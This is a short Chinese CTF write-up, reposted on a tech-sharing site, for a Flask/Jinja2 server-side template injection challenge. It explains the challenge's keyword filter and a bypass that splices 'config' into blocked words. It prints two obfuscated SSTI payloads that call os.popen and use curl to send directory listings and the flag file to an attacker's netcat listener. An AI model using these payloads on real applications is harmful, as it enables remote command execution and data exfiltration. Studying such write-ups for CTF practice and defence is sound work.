标签：__ .__ 记录 过滤 flag SSTI port 注入
输入数据有回显，看返回头是python写的后台，猜测有SSTI（加了个php模式的报错和index.php路由不知道有没有骗到某个师傅–） 然后接下来是绕WAF，我写了两个过滤，一个强过滤是匹配{{和}}，目的是想让各位师傅用远程SSTI把flag打到自己服务器上。
然后是一个简单的单词匹配过滤os等敏感字符，只要FUZZ一下，再实验一下，会找到config这个大多数poc都用不上且过滤排在较后，可以用来绕过过滤。
服务器监听 nc -lvp port
根目录查flag： {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d ls / | grep flag;') %}1{% endiconfigf %}
读flag：
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d cat /flag_1s_Hera;') %}1{% endiconfigf %}
自己看到的较好的介绍链接~~
Python模板注入(SSTI)深入学习
Flask/Jinja2模板注入中的一些绕过姿势
HyyMbb
发布了47 篇原创文章 · 获赞 2 · 访问量 3074
私信
关注
标签：__,.__,记录,过滤,flag,SSTI,port,注入 来源： https://blog.csdn.net/a3320315/article/details/104102979
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。